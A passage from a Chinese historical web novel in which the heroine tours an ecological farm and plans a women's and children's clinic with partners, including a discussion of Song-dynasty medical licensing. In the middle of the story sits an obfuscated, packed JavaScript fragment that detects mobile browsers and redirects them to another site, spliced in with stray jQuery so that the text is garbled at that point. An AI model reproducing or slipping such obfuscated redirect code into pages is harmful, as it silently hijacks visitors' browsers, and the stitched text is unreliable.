绿珠同秋月欣然同意，她们刚刚一路坐马车过来的时候就发现丰收村的与众不同之处。直通村口的土路干净夯实，道路两旁栽种绿植，虽因冬日掉光了树叶子，可看起来却生机勃勃，与其他村落荒凉萧条的景致截然不同。 远远望去，几座山头都被开荒成了井然有序的梯田，其间点缀着白墙黑瓦的夯土屋，山涧潺潺汇入半山腰的蓄水池，再由竹管桥接引入田间地头。村民们或搬运做工，或垦荒种地，或畜牧养禽，或炊烟袅袅，或小儿嬉戏，一派田园风光，宛若人间真实桃花源。 王文茵带着绿珠和秋月先去堆肥场观看农人如何利用废弃回收的原材料在有氧环境下堆肥发酵，培养出大量有利于土壤生态的微生物再反哺给农作物。随后又给她们展示了农场的养殖区和各种类型的种植区及育苗区，给她们讲解何谓稻鸭共作、林下养鸡。在往山上去的途中还顺便拐过去看了看用水泥混凝土浇筑的蓄水池，最后回到静缘庵参观香料工坊，这一路绿珠和秋月的嘴就一直没合拢过。 “乖乖，简直太不可思议了！”绿珠发自内心赞叹：“有了这个生态农场，即便遇上灾年农户也能安然过渡，不必担心颗粒无收，沦为流民了。” 秋月也兴奋道：“还有那个什么土做的蓄水池，居然能存储那么多山泉水，用来灌溉梯田简直太神奇了！” 绿珠注意到几个细节，不论是米线作坊、香料工坊、生态农场，还是农田水利，王文茵似乎都在给生活陷入困境的流民和农户创造就业。她用最难吃的早籼米做成爽滑弹牙的米线，用废弃的粪便厨余枯枝败叶制作土壤所需的肥料，用廉价的猪油做香皂等洗护用品，那就意味着只要方法得当，便可用低成本的原材料制作家庭常备的熟药给百姓使用，减少因疾病带来的不幸与死亡，这不正是她所希望的吗？ “阿茵是打算再投资一个类似的生态药社吗？”绿珠眼睛发亮，脸上带着亢奋：“我这些年也攒了一些银钱，若是妹妹不嫌弃，我愿将这笔钱拿出来投资这个药社，造福更多的病患。” 王文茵却摇头，“我昨儿晚上又仔细想了想，觉得其实我们可以让药社发挥更大的价值。” “此话怎讲？” 王文茵道：“我的设想是药社必须兼具治疗、护理、药物、和教学四大模块，并将这些功能全部集中在一个地方。病患来药社看诊，若是病情严重便可在药社内住院，由专门的护理人员看护，直到疾病痊愈再回家，这样省却了大夫上门看诊的麻烦。” “将病患集中起来治疗，还能让年轻的学徒跟着有经验的大夫在最短时间内了解更多的病例。药社不仅培养大夫，还能培养药剂师和护理人员，很多疾病并非因为大夫没用对药，而是病患缺少专业的护理才导致不幸死亡。” 绿珠边听边点头：“妹妹说的太对了！” 王文茵提出的其实就是现代医院的模式，这对于绿珠这个古代人来说是非常前卫的设想，但她却接受良好，“这可不就是我理想中的药社嘛！” “你们讨论药社怎么能没有我参与呢？”赵元宁虽迟必到！ 88. 第八十八章 “四郎君，你来得正好。”绿珠抬手招呼赵元宁落座，“阿茵妹子规划的这个集治疗、护理、药物、和教学为一体的药社你可有什么想法？” 王文茵先前只同赵元宁谈起过制作熟药的药社，并没有深入到药社的其他功能，赵元宁也是第一次听说，感觉新奇之余微微有些吃味，看来王小娘子找到新搭档后已经自动把他这个老搭档给晾一边了。 “挺好。”赵元宁淡淡道。 一向响应最积极的赵四郎竟然反应如此冷淡，王文茵不免感到奇怪，“四郎君是不是有别的想法？不妨提出来我们大家一起讨论。” “没想法，你的想法就挺好的，该有的都有了。”赵元宁依旧是不咸不淡的回应。 再迟钝的人也听出赵元宁的不爽了，王文茵觉得莫名其妙，直截了当问他：“赵四郎是对我有什么不满吗？” 赵元宁吓一跳，反应过来后马上认错：“阿茵妹妹误会了，我没什么不满的。” 王文茵哼了一声，“你满脸写着‘我很不爽’几个字，分明就是对我有意见，问你偏又不肯坦诚相告。既然是朋友，便应该有话直说，否则都如你这般模棱两可的态度，叫我猜测你心里所想岂不是要累死？” 赵元宁心里臊得要死，暗怪自己不该这般幼稚，可说出去的话犹如泼出去的水，现在只能自己给自己圆场，嗫喏道：“……先头阿茵妹妹都会先同我商议关于药社的事，如今有了绿珠姐姐便把我撇一边了。” 几位小娘子闻言愣了半晌，继而爆发出一阵哄笑。 难怪说男人至死是少年，王文茵气笑了，“我还以为发生什么大事了呢，就这么点小事，这也值得生气？” 赵元宁闹了个大脸红，自知丢脸，却又不甘反驳道：“这怎么能算小事呢？你我认识在先，咱们是合作伙伴，药社这么大的事你不先同我商议，我自然吃味。” 绿珠乐不可支，眼泪都快笑出来了，拿起帕子掖了掖眼角，打趣赵元宁：“原来四郎君是吃我的醋呀。” 赵元宁更窘了，连忙摆手否认：“没有的事，绿珠姐姐别误会，是我太……太小鸡肚肠了。” 绿珠非但不生气，反而对赵元宁好感倍增，觉得他单纯又坦诚，是不可多得的好男儿。 “四郎君你误会了，阿茵她也是昨晚才刚想到要增加药社的其他功能，而不仅限于研发熟药这一项功能，是吧妹妹？” 王文茵颔首，“先前我对这药社的设想仅限于制作熟药，但认识绿珠姐姐后我便有了新的想法。既然姐姐常年为妇人看病，那我们为何不先尝试着做一家专门服务妇人和小儿的‘妇幼保健药社’呢？” “好主意！”赵元宁兴奋地跳起来，发现大家都朝自己看来，哂笑道：“我的意思是阿茵妹妹提出的这个‘妇幼保健药社’太有创意了！我兄长最擅长的便是儿科同内科，是以我家在汴京的药铺便是以这两门专科为主要治疗方向。但汴京城内尚未有一家专门诊治妇科同儿科的药铺，若是我们能将‘妇幼保健药社’做起来，定然很受欢迎。尤其是很多妇人的隐疾说与男大夫多少有些难以启齿，但若是有绿珠姐姐这样的女大夫在，那就方便许多。” 王文茵表示认同：“‘妇幼保健药社’主治妇科、产科、儿科，还能指导帮助妇人生产生育，降低妇人在生产过程中的死亡风险。除此以外，我们还可以同步开设‘月子社’，让妇人在‘月子社’受到良好的产后调理，平安度过产后最艰难的第一个月。” “这‘月子社’可是要收费的？”绿珠担心道：“家境贫寒的妇人怕是拿不出铜钱来支付这笔费用。” 王文茵想起后世的月子中心，那都是为中产以上富裕家庭服务的，好是好，却不是所有人都消费得起。但在家坐月子也要请月嫂，月嫂一个月的工资比很多都市白领还高，而生孩子的女人还是得不到很好是照料，出了月子就有各种后遗症。 “‘月子社’自然是要收费的，因为月子社除了需要女大夫为产后的妇人巡诊，还需要护理员和月嫂帮助妇人照看婴孩和本人，这些护理人员都是要付工钱的。但我们可以将‘月子社’分为两类，一类是高端月子社，一类则是平民月子社。” “高端月子社面向有一定经济实力的娘子，实行一对一定向服务，住的月子房都是单人套房。而平民月子社则是面向中低层妇人，孩子和妇人都有护理员跟月嫂统一照料，减少人员的支出，当然住宿条件也会相对普通简单一些。” “我懂了，阿茵是想用高端月子社去补贴平民月子社，是不是？”绿珠问道。 王文茵点头，“正是。不管是‘妇幼保健药社’还是‘月子社’都是必须盈利的，否则就无法维持经营下去。但若只是为了盈利便只能面向贵族阶层，容易把路走窄了。我们创办‘妇幼保健药社’的目的是为占人口大多数的平民百姓服务，所以将一部分盈利拿来补贴，或者让家境拮据的妇人以其他方式代偿也是可以的。” “阿茵妹妹说得对，所谓升米恩，斗米仇，若是无偿提供帮助会被视作理所当然，甚至可能会给我们带来不利。但若是用适当的补贴兼之其他方式代偿，受了恩惠的人反而会感激，不会有其他想法。”赵元宁对此深有感触，他兄长会定期给贫困的人出义诊，布施一些免费的药材，但不会将这种慈善行为列为药铺的常规项目，怕的就是被病患视作理所当然，为同行所排斥，危及药铺声誉。 绿珠跟随义父行医多年，见过形形色色的病患，自然了解人性的复杂多样性，有的人求你看病的时候可以给你下跪，一旦治不好就把全部责任推给大夫，甚至威胁恐吓大夫。 “我赞同以工代赈。”绿珠道：“反正我们也需要培养护理员同月嫂，给妇人提供就业的同时还能低销一部分医药费和护理费。” “护理员同月嫂容易招到，倒是妇产科同儿科大夫比较少。”赵元宁感到有些棘手，“我家虽主治内科同儿科，但好的儿科大夫只有家兄同另一位老大夫。家兄大部分时候都需在太医院待命，怕是分身乏术。” “我倒是认识一位非常出色的儿科大夫。”绿珠道：“此人名为钱乙，字仲阳，祖籍钱塘，幼时丧母，其父又弃他远行，由其姑母抚养长大。少年时随姑父行医，深耕儿科几十载，在小儿体质学说、四诊合参独重望诊、五脏辨证等方面颇具成就，著有《伤寒论发微》，《婴孺论》，《钱氏小儿方》等作。他与我义父曾是同僚，或许我可以将他请来为‘妇幼保健药社’坐镇。”【注1】

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15237915|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 赵元宁大喜道：“钱大夫如今身在何处？我愿替绿珠姐姐去将他请来。” “在东平郓州，先不用急，待我先写一封信与他，问问他是否愿意来汴京。” “如此甚好！”王文茵喜道：“妇产科有绿珠姐姐坐诊，儿科若是有钱大夫助阵，‘妇幼保健药社’不日便可开张。” 绿珠点头，“我也正想培养几位女大夫接我的班，有了这‘妇幼保健药社’便方便许多。” 王文茵突然想起什么问道：“我朝行医可需行医资格证之类的东西？” “自然是需要的。”说起这个赵元宁头头是道，他出生医学世家，自己也算个半吊子郎中，虽不及兄长赵元静，但该走的流程都走过一遍，自然了如指掌。 用赵元宁的话说，从南北朝时期便有了官方医学院——太医署。到了隋唐太医署逐步完善，勒令学生每月、季、年都必须进行考试，再根据考试成绩晋级或淘汰，若是学满九年无所成者，则必须退学，医学教育从此走上了正规化道路。【注2】 从宋朝开始，医疗管理体系就更加严谨了，设立的“翰林医官院”规范考试和管理，为医师资格的合法化奠定了基础。中医资格考试纳入了国家体系，和科举考试一样每三年一次，阴历八月在全国各地开考，中选者来年二月进京再参加国家统一组织的考试。考试分为：方脉科、针科、疡科，以内容涉及《黄帝内经》《难经》《千金翼方》《脉经》等各类医学典籍。试题的具体内容包括墨义、大义、脉义、假令论方义、假令法、运气等等。【注2】 考试合格后有了行医资格的医生要先登记注册，再由“太医局”和“翰林医官院”等机构负责管理医生的行医记录，包括医生的姓名、职业资格、行医地点、治疗的患者情况等信息。这些记录不仅用于管理，还作为考核医生的重要依据，朝廷会根据这些记录给予奖励或惩罚。【注2】 同时，朝廷也十分重视医学教育，创办了诸多的医学院校，如太医局、官立医学、州县医学等。太医局是宋朝最高的医学机构，负责为宫廷提供医疗服务；官立医学和州县医学则是地方性的医学机构，负责为当地的人民提供医疗服务。为了管理医学机构，朝廷还制定了《宋刑统》等法律，对非法行医、医术不精等行为进行了规范。【注2】 “大部分的城镇和乡村设立的‘疗病坊’同‘药社’都是由官府统一管理的，那边的医生也是由官方指派的。”赵元宁解释道：“只有少数‘药社’是私人的。” “如此看来咱们的‘妇幼保健药社’岂不是还要同官府合作？”绿珠问道。 “倒也不必，我家世代开药铺，再增加一个‘妇幼保健药社’就当是拓展业务，只需到太医局登记一下便可。”赵元宁答道。 “如此甚好。”绿珠松了口气，笑道：“果然是背靠大树好乘凉，有了赵四郎开药社这事就便利多了。” 听他们二人一问一答，王文茵狡黠一笑，“不如筹建药社这事儿就交给绿珠姐姐同四郎君一起负责吧？我本来也不懂治病救人的事，帮不上太多，你们二人都是专业人士，更适合做搭档。” 绿珠瞟了一眼赵元宁，抿嘴笑了笑，“我没什么问题，不知赵四郎意下如何？”